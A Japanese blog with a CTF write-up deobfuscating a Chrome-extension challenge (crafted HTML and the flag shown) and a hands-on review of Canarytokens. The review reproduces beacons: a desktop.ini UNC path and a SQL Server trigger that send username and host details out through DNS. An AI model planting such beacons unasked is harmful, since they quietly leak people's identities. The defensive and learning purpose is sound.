const OOO_0x5be3=['zxHJzxb0Aw9U','wxvJveW','ufLcwvu','zxHmAwW','nwztzLH1zW','suTTvvi','u1rLENa','venkzeS','tu5WAK8','yxbWzw5Kq2HPBa','Dg9YqwXS','tg9HzgvK','B29VCG','mJmWmtDou2Thvxm','wffquvC','DNPsDMm','yM9KEq','z2v0zMXHzW','uvHXswi','DhLvuhy','DLDuuwu','ExL6u1K','nti3mZq2Dg10wKns','D21Py1u','vvrHB0q','CgfYzw50tM9Kzq','EwrOqNC','y29UC29Szq','yxbWBhK','n0TyvuDIvG','CMv0DxjUicHMDq','zMXHzZOG','y29UC3rYDwn0BW','BNvyuxK','ugzQC3a','DhLWzq','Dg9tDhjPBMC','vg9OseO','EvjKD3y','i3rOAxjKzMfJDa','y2HPBgrmAxn0','y3rVCIGICMv0Dq','sgvSBg8GzNjVBq','AePgANC','xIbDFq','Bg9N','AhHRExK','vufnuhG','DgfNtMfTzq','q0Tkvge','yxr0CMLIDxrLCW','EwPxv2q','zM9nvuK','DgHPCMrMywn0BW','zMrtEee','vhDyuw8','sMHJzwS','u3HNt0i','EwrZBeW','C1L1z28','nJK2mJe2BMP6rvHn','mxfeExHPCa','mJGYndK3rMHnuvbH','ywrKzwroB2rLCW','AxDJugq','Dhj1zq','re9nq29UDgvUDa','z3jLzw4','veLrDKy','uufpBwy','rMzLtKO','y3vUwxe','CMvTB3zLze5Vza','zxiGAxmGB2jZzq','txnytfG','tvjVz2i','x19WCM90B19F','ywTUEu4','t2DZtuO','uxPjCNC','zKXRBvu','uuHTvgi','sKD4sLy','y0rOy1m','zw50','nZq4nZz3z2zkrLy','B1jkAeq','y3jLyxrLrwXLBq','DgvKoIa','B2jZzxj2zq','Aw5MBW','uMToB0q','qwvYv24','tuHTqMq','yxr0CMLIDxrLtG','yxjxAMW','rLbRruC','CxvLCNLtzwXLyW','zK5Vt2y','CM4GDgHPCYiPka','sw9gtLu','zdOG','z2v0rwXLBwvUDa','m2zH','se1LBLK','uxjjtMO','zxjYB3i','E30Uy29UC3rYDq','s29pwKm','twPzEve','CNrvvee','C2vUze1LC3nHzW','BgvUz3rO','DevlBvy','qNLjza','q29SB3i','Ee9ZDvq','xIHBxIbDkYGGkW','ChjVDg90ExbL','y2HHCNmGywrKzq','w3rVC3q9iJeIxq','DgfYz2v0','ExPKrhG','DNnYqvC','ze1vq0C','ExPyBu8','q2j1u2S','zgL2','Dwvkwue','s1nOC0C','AgD2s0i','BMn0Aw9UkcKG','Aw5Uzxjive1m','zMXHzW','wgjWvuO','CNvUDgLTzq','ENbZwLK','ywrKrxzLBNrmAq','B0PIB1y','ie9ptW','uxDhzMG','yLbSq2S','DhjHy2u','C2v0qxr0CMLIDq','CNzPBMCU','nJy5nJy2uu9rEgrz','yMLUza','yw1L','rhjVyMm','rLnVzfe','wwLAwNq','B29Y','yNbWu0i','qxr0CMLIDxrLia','wwH4t1m','DMfSDwu','mJG0ntzusMLsDLm','u1DMD1G','rg1uwe0','C3r5Bgu','ALbYBNK','Dg9Y','CwLLs20','su5qvvq','u3n0D04','s3njwxm'];function OOO_0x1e05(0x5b41c2,0x49f0ea){0x5b41c2=0x5b41c2-(-0xca-0x1a+-0x1a6f+0x70a);let 0x21ce5c=OOO_0x5be3[0x5b41c2];if(OOO_0x1e05['EgEdZZ']===undefined){var 0x4805d2=function(0x4d3468){const 0x241d4='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let 0x2d6d6b='';for(let _0x33c38d=0x1dbf0x1+-0x1d-0xf9+-0x39f4,0x42ef4e,0x12b97b,0x310f68=-0x2427+-0x85+0x24ac;0x12b97b=0x4d3468'charAt';~0x12b97b&&(0x42ef4e=0x33c38d%(-0x2f6+-0xfdd0x2+0x115a0x2)?_0x42ef4e(-0x371+-0x1b1c+-0x629-0x5)+0x12b97b:0x12b97b,_0x33c38d++%(-0x1-0xdd8+0x13e0x13+-0x10x256e))?0x2d6d6b+=String'fromCharCode'*0x33c38d&0x2db-0xd+0x804+0x1d21)):-0x5d5+-0x10c-0x20+-0x1bab){0x12b97b=0x241d4'indexOf';}return 0x2d6d6b;};OOO_0x1e05['twlaRA']=function(0x2c5f97){const 0x146068=0x4805d2(0x2c5f97);let 0x2b05c7=[]; (snip)

content_script.jsは難読化されている。

まずは使ってみることにする。
Chromeを起動して以下のURLにアクセスする。

chrome://extensions/

f:id:graneed:20210503070837p:plain
「パッケージ化されていない拡張機能を読み込む」のボタンを押下し、先ほどcrxファイルを展開したディレクトリを指定する。

すると、正常にChrome拡張機能として認識された。
f:id:graneed:20210503070719p:plain

拡張機能が有効な状態で問題サイトにアクセスると、背景が緑色になった。 f:id:graneed:20210503071333p:plain

まだ、どうすればフラグが取れるのか、どこにフラグがあるのかがさっぱりわからないため、腰を据えて難読化されたコードを読んでいくことにする。

コード解析

実際にChrome拡張機能を動かしながら変数に設定されている内容などを確認してコード内容の解析を進めつつ、コードの変数名などを変更しながら解析を進めるのが効率的である。crxファイルを展開したディレクトリ配下のファイルを更新した後は「更新」ボタンを押下すると反映される。

なお、最初にcontent_script.js全体にフォーマット(整形)をかけてからChromeで表示確認すると、しばらくフリーズした後にOutOfMemoryが発生してしまった。原因がよくわからないが、全体一気にフォーマットをかけず、解析しながら逐次フォーマットをかけていくことにした。

全体を眺めると、先頭のOOO_0x5be3配列内のランダム文字列用のような要素をもとに、いくつかの関数を組み合わせて文字列の変換処理(よく読んでいないが、シフトしたり置き換えたり切り出したりだと思われる)をして、有効なJavaScriptの変数や関数の文字列を生成している。この変換処理を追うのは面倒なので、コンソールで実行して、変換後の文字列を把握していくことにする。

コードの後半部分を例にする。
以下はフォーマットをかけたコードである。_0x5e7e08関数や_0x5e48be関数が多く使用されていることがわかる。

(snip)
setTimeout(function() {
    const _0x5e7e08 = function(_0x36bfd4, _0x49f224, _0x1aad0d, _0x9f80a3) {
        return OOO_0x3fd47c(_0x36bfd4, _0x1aad0d - 0x360, _0x1aad0d - 0x84, _0x9f80a3 - 0x139);
    }
      , _0x5e48be = function(_0x44622e, _0x4e1ee1, _0x481182, _0x3003e2) {
        return OOO_0x3fd47c(_0x44622e, _0x481182 - 0x360, _0x481182 - 0x25, _0x3003e2 - 0xdf);
    }
      , _0x5ebd2a = {};
    _0x5ebd2a[_0x5e7e08(0x21b, 0x26c, 0x239, 0x26f)] = function(_0xd7fd19, _0x3dc26b) {
        return _0xd7fd19 + _0x3dc26b;
    }
    ,
    _0x5ebd2a[_0x5e48be(0x1e1, 0x17f, 0x1aa, 0x1cb)] = _0x5e7e08(0x1f1, 0x1dc, 0x1d7, 0x1ab),
    _0x5ebd2a[_0x5e48be(0x210, 0x1de, 0x1de, 0x1d5)] = function(_0x3daa6a, _0x29e0c7) {
        return _0x3daa6a == _0x29e0c7;
    }
    ,
    _0x5ebd2a['DvvtZ'] = function(_0x43093f, _0x1a0c40) {
        return _0x43093f == _0x1a0c40;
    }
    ,
    _0x5ebd2a[_0x5e48be(0x1b9, 0x1c1, 0x1f1, 0x1ce)] = _0x5e7e08(0x279, 0x232, 0x237, 0x215),
    _0x5ebd2a[_0x5e7e08(0x1ca, 0x1e5, 0x1e6, 0x1b4)] = 'processed',
    _0x5ebd2a[_0x5e7e08(0x27b, 0x23d, 0x22c, 0x24e)] = _0x5e7e08(0x229, 0x1a9, 0x1f9, 0x227);
    const _0x10b2d5 = _0x5ebd2a
      , _0xd26915 = {};
    _0xd26915[_0x5e7e08(0x1c9, 0x1d1, 0x1c9, 0x215)] = _0x10b2d5[_0x5e48be(0x21d, 0x219, 0x22c, 0x25d)],
    chrome[_0x5e48be(0x281, 0x24c, 0x23f, 0x228)][_0x5e48be(0x1fd, 0x25f, 0x227, 0x1f2) + 'e'](_0xd26915, function(_0x336e82) {
        const _0x39523f = function(_0x1f7238, _0x1ec865, _0x491b86, _0x4c5d70) {
            return _0x5e7e08(_0x4c5d70, _0x1ec865 - 0x152, _0x491b86 - -0x35c, _0x4c5d70 - 0x192);
        }
          , _0x5773c7 = function(_0x2e0483, _0x4c6386, _0xfa0575, _0xa5f600) {
            return _0x5e7e08(_0xa5f600, _0x4c6386 - 0x9a, _0xfa0575 - -0x35c, _0xa5f600 - 0x1ab);
        };
        FLAG = _0x336e82[_0x39523f(-0x10d, -0xe8, -0x11f, -0x128)],
        console['log'](_0x10b2d5[_0x39523f(-0x134, -0xf8, -0x123, -0x14b)](_0x10b2d5[_0x5773c7(-0x1c8, -0x164, -0x1b2, -0x16c)], _0x336e82[_0x39523f(-0x151, -0x152, -0x11f, -0x146)]));
        nodesadded == 0x1 * -0x27a + 0x3 * -0x3f8 + -0x4cd * -0x3 && _0x10b2d5[_0x39523f(-0x157, -0x1ae, -0x17e, -0x1c2)](nodesdeleted, -0x1b66 + -0x14e * 0x8 + 0x25d9) && attrcharsadded == -0x2001 + -0x2 * 0x433 + 0x49 * 0x8e && _0x10b2d5['DvvtZ'](domvalue, -0xed7 * -0x1 + -0x18f0 + 0x12a5) && (document['getElement' + _0x39523f(-0xf2, -0x127, -0x132, -0x153)](_0x5773c7(-0x141, -0x1ab, -0x16f, -0x192) + _0x5773c7(-0x131, -0x15d, -0x10d, -0xc2))['value'] = _0x336e82[_0x5773c7(-0xe7, -0xda, -0x11f, -0x111)]);
        const _0x369bcb = document[_0x39523f(-0xfc, -0x141, -0x14d, -0x186) + 'ent'](_0x10b2d5[_0x39523f(-0x121, -0x14a, -0x16b, -0x199)]);
        _0x369bcb[_0x5773c7(-0x158, -0xd6, -0x115, -0xeb) + 'te']('id', _0x10b2d5['hxkyy']),
        document[_0x39523f(-0x19a, -0x187, -0x194, -0x17d)][_0x39523f(-0x18c, -0x15b, -0x19b, -0x15b) + 'd'](_0x369bcb);
    });
}, -0x2 * -0xc41 + -0x2443 * -0x1 + -0xef * 0x3f);

Chromeで途中でブレイクポイントを設定して、下のコンソール画面で関数を実行すると、変換後の文字列がわかる。 f:id:graneed:20210503073230p:plain

あとは地道に変換していく。
他にも、変数名を自分でわかりやすくしたり、コメントでメモしながら読み進める。

setTimeout(function() {
    const _0x5e7e08 = function(_0x36bfd4, _0x49f224, _0x1aad0d, _0x9f80a3) {
        return OOO_0x3fd47c(_0x36bfd4, _0x1aad0d - 0x360, _0x1aad0d - 0x84, _0x9f80a3 - 0x139);
    }
      , _0x5e48be = function(_0x44622e, _0x4e1ee1, _0x481182, _0x3003e2) {
        return OOO_0x3fd47c(_0x44622e, _0x481182 - 0x360, _0x481182 - 0x25, _0x3003e2 - 0xdf);
    }
      , data1 = {};
    data1['func_plus'] = function(_0xd7fd19, _0x3dc26b) {
        return _0xd7fd19 + _0x3dc26b;
    }
    ,
    data1['bppSB'] = 'flag: ',
    data1['func_equals'] = function(_0x3daa6a, _0x29e0c7) {
        return _0x3daa6a == _0x29e0c7;
    }
    ,
    data1['func_equals2'] = function(_0x43093f, _0x1a0c40) {
        return _0x43093f == _0x1a0c40;
    }
    ,
    data1['SxgOB'] = 'div',
    data1['hxkyy'] = 'processed',
    data1['xOsuT'] = 'true';
    const data2 = data1
      , data3 = {};
    data3['getflag'] = data2['xOsuT'], // true
    chrome['runtime']['sendMessage'](data3, function(_0x336e82) { // _0x336e82 = {flag: "OOO{}"
        const _0x39523f = function(_0x1f7238, _0x1ec865, _0x491b86, _0x4c5d70) {
            return _0x5e7e08(_0x4c5d70, _0x1ec865 - 0x152, _0x491b86 - -0x35c, _0x4c5d70 - 0x192); // return "flag"
        }
          , _0x5773c7 = function(_0x2e0483, _0x4c6386, _0xfa0575, _0xa5f600) {
            return _0x5e7e08(_0xa5f600, _0x4c6386 - 0x9a, _0xfa0575 - -0x35c, _0xa5f600 - 0x1ab); // return "bppSB"
        };
        FLAG = _0x336e82['flag'],
        console['log'](data2['func_plus'](data2['bppSB'], _0x336e82['flag'])); // "flag: OOO{}"
        nodesadded == 5 &&
          data2['func_equals'](nodesdeleted, 3) &&
          attrcharsadded == 23 &&
          data2['func_equals2'](domvalue, 2188) && 
          (document['getElementById']('thirdfactooor')['value'] = _0x336e82['flag']);
        const _0x369bcb = document['createElement'](data2['SxgOB']);
        _0x369bcb['setAttribute']('id', data2['hxkyy']),
        document['body']['appendChild'](_0x369bcb);
    });
}, 500);

ポイントは下から10行目あたり。拡張機能を有効にした状態で、以下の条件を全て満たすHTML画面を表示すると、idがthirdfactooorのHTML要素にflag文字列をセットするようだ。

  • nodesadded5
  • nodesdeleted3
  • attrcharsadded23
  • domvalue2188

これら変数がどのようにセットされるか確認するため、解析作業をさらに進める。

let nodesadded=0,nodesdeleted=0,attrcharsadded=0;
const OOO_0x2a2a96={};
OOO_0x2a2a96['attributes']=true,OOO_0x2a2a96['childList']=true,OOO_0x2a2a96['subtree']=true;
const config = OOO_0x2a2a96
  , callback = function(_0x3bfa58, _0x473b60) {
    const _0x3b1336 = function(_0x2b0d18, _0x1f44dd, _0x266f3f, _0x30da66) {
        return OOO_0x3e535c(_0x2b0d18, _0x266f3f - 0xbf, _0x266f3f - 0x1f0, _0x30da66 - 0x15);
    }
      , _0x50e5cb = function(_0x17a99c, _0x93b86b, _0x162dd1, _0x23a6d3) {
        return OOO_0x3fd47c(_0x17a99c, _0x162dd1 - 0xbf, _0x162dd1 - 0x1d2, _0x23a6d3 - 0x14f);
    }
      , _0x1f7375 = {};
    _0x1f7375['CbuSk'] = function(_0x43d068, _0x30a174) {
        return _0x43d068(_0x30a174);
    }
    ,
    _0x1f7375['rYDJT'] = function(_0x14246c, _0x74b35d) {
        return _0x14246c + _0x74b35d;
    }
    ,
    _0x1f7375['exLil'] = "return (function() ",
    _0x1f7375['fdSxA'] = "{}.constructor(\"return this\")( )",
    _0x1f7375['UTaoD'] = function(_0x2e864f, _0x11077e) {
        return _0x2e864f === _0x11077e;
    }
    ,
    _0x1f7375['STezp'] = '3fa',
    _0x1f7375['Pfjsp'] = function(_0x3bd23a, _0x3cdd5a) {
        return _0x3bd23a !== _0x3cdd5a;
    }
    ,
    _0x1f7375['yzXmO'] = 'tEKmV',
    _0x1f7375['foMUI'] = function(_0x495d1b, _0x3d1d64) {
        return _0x495d1b === _0x3d1d64;
    }
    ,
    _0x1f7375['MjYyQ'] = 'childList',
    _0x1f7375['UAMPx'] = 'ohliS',
    _0x1f7375['qieKm'] = function(_0x2c672f, _0x1daaf7) {
        return _0x2c672f === _0x1daaf7;
    }
    ,
    _0x1f7375['yyzSY'] = 'attributes',
    _0x1f7375['MRogb'] = 'QHmTb',
    _0x1f7375['ydslL'] = "Nodes deleted: ",
    _0x1f7375['TohHJ'] = function(_0x50b4fd, _0x2f2f3a) {
        return _0x50b4fd + _0x2f2f3a;
    }
    ;
    const _0x55a6f1 = _0x1f7375;
    for (const _0x8a010b of _0x3bfa58) {
        var _0x5b12b9 = document['getElementById']('3fa');
        if (!_0x5b12b9) {
            if (_0x55a6f1['Pfjsp']('tEKmV', _0x55a6f1['yzXmO'])) { // 常にfalse
                function _0x4c234d() {
                    const _0x21ada6 = function(_0x13829f, _0x5aff45, _0x1049e9, _0x1fc823) {
                        return _0x3b1336(_0x5aff45, _0x5aff45 - 0x1ab, _0x1fc823 - 0x69, _0x1fc823 - 0x137);
                    }
                      , _0x1fbfda = function(_0x513222, _0x3868ec, _0x373041, _0x1b0c78) {
                        return _0x50e5cb(_0x3868ec, _0x3868ec - 0x1eb, _0x1b0c78 - 0x69, _0x1b0c78 - 0x63);
                    }
                      , _0x6715fd = YxHqhw[_0x21ada6(0x4, 0x0, 0x2a, -0x2)](_0x4805d2, YxHqhw['rYDJT'](YxHqhw[_0x21ada6(-0x33, -0x77, -0x5c, -0x7d)] + YxHqhw[_0x1fbfda(0x8, -0x60, -0x44, -0x4a)], ');'));
                    _0x2a1d4f = _0x6715fd();
                }
            } else
                return;
        } else {
            if (_0x55a6f1['foMUI'](_0x8a010b['target'], _0x5b12b9) || _0x8a010b['target']['parentNode'] === _0x5b12b9 || _0x8a010b['target']['parentNode']['parentNode'] === _0x5b12b9) {} else
                return;
        }
        if (_0x8a010b['type'] === 'childList') {
            if (_0x55a6f1['Pfjsp'](_0x55a6f1['UAMPx'], _0x55a6f1['UAMPx'])) { // 常にfalse
                function _0x2cef4c() {
                    if (_0x29dfcf) {
                        const _0x393cac = _0x3997ca['apply'](_0x25082f, arguments);
                        return _0x3d93fd = null,
                        _0x393cac;
                    }
                }
            } else
                nodesadded += _0x8a010b['addedNodes']['length'],
                nodesdeleted += _0x8a010b['removedNodes']['length'];
        } else {
            if (_0x55a6f1['qieKm'](_0x8a010b['type'], _0x55a6f1['yyzSY'])) {
                if (_0x55a6f1['qieKm'](_0x55a6f1['MRogb'], _0x55a6f1['MRogb']))
                    attrcharsadded += _0x8a010b['attributeName']['length'];
                else {
                    function _0x2d4b10() {
                        const _0x5a2574 = function(_0x1f61f0, _0x4c614f, _0x253be8, _0x30331c) {
                            return _0x3b1336(_0x30331c, _0x4c614f - 0xfd, _0x1f61f0 - 0xe2, _0x30331c - 0x1a9);
                        }
                          , _0x1db321 = function(_0x1e9565, _0x300054, _0x57104f, _0x115259) {
                            return _0x50e5cb(_0x115259, _0x300054 - 0x3a, _0x1e9565 - 0xe2, _0x115259 - 0x73);
                        };
                        if (_0x55a6f1[_0x5a2574(0x11, 0x4c, -0x3a, 0x57)](_0x5ac0e8[_0x1db321(0x72, 0x8e, 0xbc, 0x36)], _0x3ee0cd) || _0x55a6f1[_0x1db321(0x11, -0x18, -0x3, 0x39)](_0x336fd7[_0x1db321(0x72, 0x90, 0x50, 0xb7)][_0x5a2574(0x12, 0x21, -0xd, -0x15)], _0x4a3300) || _0x55a6f1[_0x1db321(0x11, 0x9, 0x15, -0x27)](_0x2ae526['target'][_0x1db321(0x12, 0x49, -0x39, -0x1e)][_0x1db321(0x12, 0x3f, -0x36, 0x41)], _0x430442)) {} else
                            return;
                    }
                }
            }
        }
    }
    console['log'](_0x55a6f1['rYDJT']("Nodes added: ", nodesadded)),
    console['log'](_0x55a6f1['ydslL'] + nodesdeleted),
    console['log'](_0x55a6f1['TohHJ']("Attribute chars added: ", attrcharsadded));
}
  , observer = new MutationObserver(callback);
observer['observe'](document, config),
console['log']('The observer is observing.'),

上記のコード内で、特定の条件を満たした場合にnodesaddednodesdeleted、またはattrcharsadded変数への加算処理を実行している。 MutationObserverというAPIを利用してDOMを監視しており、上記のコードはノードの追加、削除、変更が発生した際に動作するようだ。 developer.mozilla.org

変数の加算処理を通るための条件は以下のとおり。

  • nodesadded変数: idが3faであるノードの配下に、新規にノードを追加すると加算される。
  • nodesadded変数: idが3faであるノードの配下から、ノードを削除すると加算される。
  • attrcharsadded変数: idが3faであるノードの配下のノードに属性を追加すると、その属性名の長さだけ加算される。

これまで解析した結果をもとに、条件を満たすHTMLを作成する。idが3faのノードの配下に5つノードを追加した後、3つノードを削除し、名前が23文字の属性を追加する。

<html>
<head>
<script>
function init(){
  let p = document.getElementById('3fa');
  var c1 = document.createElement('div');
  p.append(c1);
  var c2 = document.createElement('div');
  p.append(c2);
  var c3 = document.createElement('div');
  p.append(c3);
  var c4 = document.createElement('div');
  p.append(c4);
  var c5 = document.createElement('div');
  p.append(c5);
  p.removeChild(c1);
  p.removeChild(c2);
  p.removeChild(c3);
  c4.setAttribute("AAAAAAAAAAAAAAAAAAAAAAA","hogehoge");
}
</script>
</head>
<body onload="">
<textarea id="thirdfactooor" rows="4" cols="40"></textarea>
<div id="3fa"></div>
<script>init();</script>
</body>
</html>

HTMLを表示して、条件判定の部分にブレイクポイントを設定して確認する。
f:id:graneed:20210503080431p:plain
右側のWatch欄を見ると、3つの変数が条件を満たしていることがわかる。 残りのdomvalue変数は、別の場所で変数操作をしていたが、適当に属性の値を変更したところ数値が変わったので、特に真面目にコードを読まずに調整した。
最終的に以下のHTMLファイルになった。

<html>
<head>
<script>
function init(){
  let p = document.getElementById('3fa');
  var c1 = document.createElement('div');
  p.append(c1);
  var c2 = document.createElement('div');
  p.append(c2);
  var c3 = document.createElement('div');
  p.append(c3);
  var c4 = document.createElement('div');
  p.append(c4);
  var c5 = document.createElement('div');
  p.append(c5);
  p.removeChild(c1);
  p.removeChild(c2);
  p.removeChild(c3);
  c4.setAttribute("AAAAAAAAAAAAAAAAAAAAAAA","1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901");
}
</script>
</head>
<body onload="">
<textarea id="thirdfactooor" rows="4" cols="40"></textarea>
<div id="3fa"></div>
<script>init();</script>
</body>
</html>

全ての変数が条件を満たしていることを確認できた。
f:id:graneed:20210503080750p:plain

そして、thirdfactooorにフラグの値がセットされた。これは自分の端末で実行したためフラグ文字列のprefix/suffixしかないが、このHTMLファイルをアップロードすればよいはずだ。
f:id:graneed:20210503080933p:plain

早速、アップロードすると、フラグがセットされた画像が表示された。 f:id:graneed:20210503081121p:plain

フラグゲット。

OOO{themorefactorsthebetter_butyouneedatleastthree}

Canarytokensサービスを試してみた

ある調べものをしていたところ、Canarytokensというサービスがあることを知った。

canarytokens.org

Canarytokensはカナリアトークンを生成するサービスであり、無料で利用できるほか、githubソースコードやDockerfileが公開されているため自分でサービス稼働環境を構築できる。カナリアトークンとはターゲット(被害者)がWebページ、電子メール、ファイルなどのリソースにアクセスする操作をしたときに、そのアクセスした事実やターゲットの環境情報(IPアドレス、UserAgent、ユーザ名など)を攻撃者に通知するための仕掛けである。

このサービスを知った時は、アクセス解析で使われるようなWebページに極小の透明画像やiframeを埋め込むような方式を想像したが、ドキュメントを読んでいると他にも様々な方式をサポートしていることがわかった。そこで、実際にどういった仕掛けで、どういった情報が記録されるのか試してみることにした。

なお、なぜカナリアというかは、昔の炭鉱でガス発見の警報装置としてカナリアが使われていたことに由来していると思われる。
ja.wikipedia.org

ここから各方式の紹介に入るが、全ての方式に共通して、ターゲットがカナリアトークンに引っかかった時の通知先としてEメールアドレスを指定できる。今回は、以下の使い捨てのメールアドレス発行サービスを使用した。
✉ Guerrilla Mail - Disposable Temporary E-Mail Address

Web bug / URL token

URLが生成される。

f:id:graneed:20210224233209p:plain

f:id:graneed:20210224233228p:plain

生成されたURLにアクセスすると真っ白な画面が表示される。 HTMLソースを確認すると、ブラウザ情報を記録するようなフィンガープリント機能を持つJavaScriptが実装されていることを確認できる。

URLへアクセス後に以下の通知メールを受信した。
f:id:graneed:20210224233712p:plain

また、カナリアトークンごとにHistoryページが提供され、そこではもっと詳細な記録情報を閲覧できる。
f:id:graneed:20210224234011p:plain

DNS token

canarytokens.comのサブドメインが生成される。
サブドメインnslookupコマンドで問合せすると以下の情報が記録された。
f:id:graneed:20210225000024p:plain

Unique email address

Eメールアドレスが生成される。
メール送信すると、以下の情報が記録された。
f:id:graneed:20210225224509p:plain

Custom Image Web bug

画像をアップロードすると、URLが生成される。
imgタグ等でアクセスすると、アップロードした画像が表示され、アクセスした際に情報が記録される。
記録される情報は接続元IPアドレスとUserAgent。

見つからないようにするには、1px×1pxの透明画像を使用すると良いのだと思う。 最初に自分が想像していたカナリアトークンに一番近い。

Microsoft Word Document

Wordファイルが生成される。
開いても特にマクロは埋まっていない。ただ、ヘッダーとフッターが設定されているように見える。 f:id:graneed:20210225003453p:plain

WordファイルをZipファイルとして展開すると、footer2.xmlINCLUDEPICTURE "http://canarytokens.com/about/traffic/articles/whb0ezqg0ahskmqdwjjndemyg/contact.php"が埋め込まれており、HTTPリクエストが飛んだようだ。

記録される情報は接続元IPアドレスとUserAgent。
自分の環境ではUserAgentはMozilla/4.0 (compatible; ms-office; MSOffice 16)となった。

機密ファイルが社外で開かれていないかを確認するために使用できそうだ。

Acrobat Reader PDF Document

PDFファイルが生成される。
Acrbat Readerで開くと以下の警告ダイアログが表示される。
f:id:graneed:20210225005240p:plain

「許可」するとWebブラウザが立ち上がり、URLへのアクセスが発生した。 ただ、HTTPではなくDNSへのアクセスを見ているようで、記録される情報は接続元IPアドレス程度であった。

警告ダイアログが表示されてしまうと、ターゲットに気付かれないようにするのは少々厳しい。

Windows Folder

個人的に一番驚いた手法。
Zipファイルが生成され、Zipファイルを展開するとMy Documentsというフォルダが展開される。 My Documentsフォルダを開くと、エクスプローラーが固まるためしばらく待つと、フォルダの中にdesktop.iniファイルが確認できる。 desktop.iniの中身は以下のとおり。

[.ShellClassInfo]
IconResource=\\%USERNAME%.%COMPUTERNAME%.%USERDOMAIN%.INI.jomvcu020919h7fvr2k2er61h.canarytokens.com\resource.dll

フォルダをエクスプローラーで開くだけでDNS通信が発生していたようで、結果、以下の情報が記録された。
f:id:graneed:20210225010738p:plain

これもまた、機密のzipファイルが社外で開かれていないかを確認するために使用できそうだ。

Custom exe / binary

EXEファイルをアップロードすると、カナリアトークンが埋め込まれたEXEファイルが生成される。 ここでは7zのインストール用のEXEファイルで試すことにした。
f:id:graneed:20210225011116p:plain

面白いことに、生成されたEXEファイルをダウンロードすると同時に以下の情報が記録された。 f:id:graneed:20210225011640p:plain

Microsoft Defenderの仕業かな」と思って設定を確認したところ「サンプルの自動送信」がオンになっていた。 f:id:graneed:20210225012006p:plain

設定をオフにしてから再度EXEファイルを生成すると、ダウンロードすると同時に記録されることは無くなったため予想通り。サンプルの自動送信をすると、Microsoftサンドボックス環境みたいなところで実行されるのだろうか。

自分でEXEファイルを実行すると、以下の情報が記録された。思ったより情報量は少ない。
f:id:graneed:20210225012652p:plain

ターゲットにEXEを実行させる障壁が高そうだ。 そして折角EXEを実行させられるのであれば、もっと色々なことができそうだ。

Cloned Website

以下のようなJavaScriptが生成される。

if (document.domain != "https://example.com") {
    var l = location.href;
    var r = document.referrer;
    var m = new Image();
    m.src = "http://canarytokens.com/"+
            "fqcm9lekdo4ibfoh33ivslg05.jpg?l="+
            encodeURI(l) + "&amp;r=" + encodeURI(r);
}

自分が管理しているWebサイトにこのJavaScriptを埋め込んでおくと、自分のWebサイトをクローンされて、そこに誰かがアクセスした際に、クローン先のサイトのURLの通知をうけることができるようだ。

サイトの運用者側で、フィッシングサイトを見つけるのに役立ちそうだ。

SQL Server

カナリアトークンの生成画面は以下のとおり。 通知のトリガーとなるDML操作とテーブルを指定できる。 f:id:graneed:20210225013311p:plain

実行すると以下のようなSQLが生成される。

--create a stored proc that'll ping canarytokens
      CREATE proc ping_canarytoken
      AS
      BEGIN
          declare @username varchar(max), @base64 varchar(max), @tokendomain varchar(128), @unc varchar(128), @size int, @done int, @random varchar(3);

          --setup the variables
          set @tokendomain = 'h3q9kuxguigeeyscumxvia9s1.canarytokens.com';
          set @size = 128;
          set @done = 0;
          set @random = cast(round(rand()*100,0) as varchar(2));
          set @random = concat(@random, '.');
          set @username = SUSER_SNAME();

          --loop runs until the UNC path is 128 chars or less
          while @done <= 0
          begin
              --convert username into base64
              select @base64 = (SELECT
                  CAST(N'' AS XML).value(
                        'xs:base64Binary(xs:hexBinary(sql:column("bin")))'
                      , 'VARCHAR(MAX)'
                  )   Base64Encoding
              FROM (
                  SELECT CAST(@username AS VARBINARY(MAX)) AS bin
              ) AS bin_sql_server_temp);

              --replace base64 padding as dns will choke on =
              select @base64 = replace(@base64,'=','-')

              --construct the UNC path
              select @unc = concat('\\',@base64,'.',@random,@tokendomain,'\a')

              -- if too big, trim the username and try again
              if len(@unc) <= @size
                  set @done = 1
              else
                  --trim from the front, to keep the username and lose domain details
                  select @username = substring(@username, 2, len(@username)-1)
          end
          exec master.dbo.xp_fileexist @unc;
      END

      --add a trigger if data is altered
      CREATE TRIGGER TRIGGER1
        ON TABLE1
        AFTER INSERT
      AS
      BEGIN
      exec ping_canarytoken
      end

環境を作って試すところまでできていないが、SQL文を見ると、SUSER_SNAME()関数を実行してWindowsのユーザ名を取得し、サブドメイン名として送信しているようだ。

攻撃者の興味を引くようなテーブルを用意して、データベースの中身が窃取されていないかを確認するために使用できそうだ。

QR Code

その名のとおり、QRコードが生成される。
f:id:graneed:20210225013725p:plain

QRコードには以下のようなURLが埋め込まれている。 http://canarytokens.com/feedback/traffic/tags/iuixoweag4nucmn1vo76jk0mv/submit.aspx

アクセスすると記録される情報は接続元IPアドレスとUserAgent。

SVN

以下のコマンドが生成される。

svn propset svn:externals "extras http://dvztaffuww7mzjfe7tw0p75e9.canarytokens.com" .

自分が管理しているリポジトリにこのコマンドを実行することで、誰がか勝手にリポジトリをクローンしたことに気付けるようだ。

AWS keys

実行すると以下のAWSのアクセスキーが生成される。

[default]
aws_access_key_id = AKIAXYZDQCENVA3R6Y7J
